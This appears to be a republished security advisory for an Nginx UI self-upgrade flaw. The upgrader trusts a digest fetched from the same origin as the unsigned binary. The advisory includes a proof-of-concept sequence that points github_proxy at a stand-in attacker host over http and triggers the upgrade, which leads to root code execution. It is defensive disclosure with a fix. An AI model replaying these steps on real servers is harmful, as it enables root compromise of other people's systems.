Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
CVE-2026-107812 · GHSA-662p-52hx-cmh2 · GO-2026-6705 · published 9 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-107812?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/0xJacky/Nginx-UI(Go) >= 1.9.10-0.20250517140552-daee3ac7ade1, < 1.9.10-0.20260728114330-580585516dd8
How to check
- Run
go list -m github.com/0xJacky/Nginx-UIin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/0xJacky/Nginx-UIto 1.9.10-0.20260728114330-580585516dd8 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
The self-upgrade downloads the release binary and its checksum (`*.tar.gz` and `*.tar.gz.digest`)
through the SAME endpoint (`version.GetUrl()`, which is `github_proxy` or, by default, the project's
`cloud.nginxui.com` mirror), and verifies the binary ONLY by comparing it to that digest:
`digestFileContent == DigestSHA512(tarName)`. Both the binary and the digest come from the same
origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then
replaces the running executable (`selfupdate.CommitBinary`) and the process restarts, so the binary
runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who
controls that download path can substitute a malicious binary plus a matching digest and obtain code
execution as root on the next upgrade. Additionally, the `github_proxy` setting accepts `http://`
URLs, so the binary+digest can be fetched over cleartext.
## Affected code
- `internal/version/url.go GetUrl(path)` = `<github_proxy or cloud.nginxui.com>/<path>` — used for
BOTH the binary and the digest.
- `internal/upgrader/upgrade.go DownloadLatestRelease`: digest URL and binary URL are both wrapped
with `GetUrl()`, fetched, and checked with `digestFileContent == DigestSHA512(tarName)`. No
signature verification anywhere in `internal/upgrader/`.
- `selfupdate.CommitBinary` then replaces the running binary; the process restarts.
- `settings/http.go`: `GithubProxy` accepts any URL (`binding:"omitempty,url"`), including `http://`.
## Attack scenarios
A. Compromised mirror / CDN (primary). By default the binary+digest are routed through
`cloud.nginxui.com`. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is
hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,
yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the
mirror). A binary signature would prevent this.
B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of
`github_proxy`; the field accepts `http://`, so the binary+digest are fetched in cleartext. An
attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)
substitutes a malicious binary + matching digest -> root RCE on the next upgrade.
C. (mechanism demonstration) An authenticated user sets `github_proxy` to a server they control and
triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no
role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it
is included only to demonstrate that an unsigned attacker binary is accepted and executed.
## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism
An attacker HTTP server serves any `*.tar.gz` -> a malicious tarball (whose `nginx-ui` is a script
that writes a marker as whoever runs it) and any `*.digest` -> the SHA-512 of that tarball.
1. Set the download origin to the attacker server (here via `github_proxy`; in scenarios A/B this is
instead a compromised mirror / MITM): `POST /api/settings` with
`http.github_proxy = http://ATTACKER:8890` -> 200. The field accepts the http URL.
2. Trigger the upgrade: WS `GET /api/upgrade/perform`, send `{"channel":"stable"}`.
3. Observed:
- The attacker server received BOTH
`GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest` and `.../nginx-ui-linux-64.tar.gz`
(over cleartext http).
- WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's
digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.
- Inside the container: `/tmp/UPGRADE_PWNED` = `UPGRADE_RCE_EXECUTED uid=0` -> the malicious binary
replaced nginx-ui and EXECUTED AS ROOT.
## Impact
Root code execution on upgrade. Realistically reached by compromising the trusted download source
(mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A
cryptographic signature on the release binary would prevent all of these.
## Honest scope / caveats
- Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is
accepted and executed as root, and the binary+digest are fetched over cleartext http when an http
proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).
- NOT staged (threat-model assumptions, not PoC artifacts): actually compromising `cloud.nginxui.com`
/ the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are
standard attacker capabilities, marked here as analysis.
- The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to `cloud.nginxui.com`+GitHub
plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which
matters when the source is compromised or the transport is cleartext (http proxy).
## Suggested fix
Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui
binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin
as the binary. Reject `http://` for `github_proxy` (require https). Consider treating `github_proxy`
as a protected setting.
## Dedup / novelty
Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup
tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade
integrity (checked osv.dev and the GitHub advisory database). Appears novel.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/0xJacky/nginx-ui/security/advisories/GHSA-662p-52hx-cmh2
- github.com/0xJacky/nginx-ui/commit/580585516dd87a8b176bcdac258db70c3b64b7ec
- github.com/0xJacky/nginx-ui/releases/tag/v2.5.0
- github.com/advisories/GHSA-662p-52hx-cmh2
- github.com/0xJacky/nginx-ui
Merged from GitHub Advisory Database, OSV. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON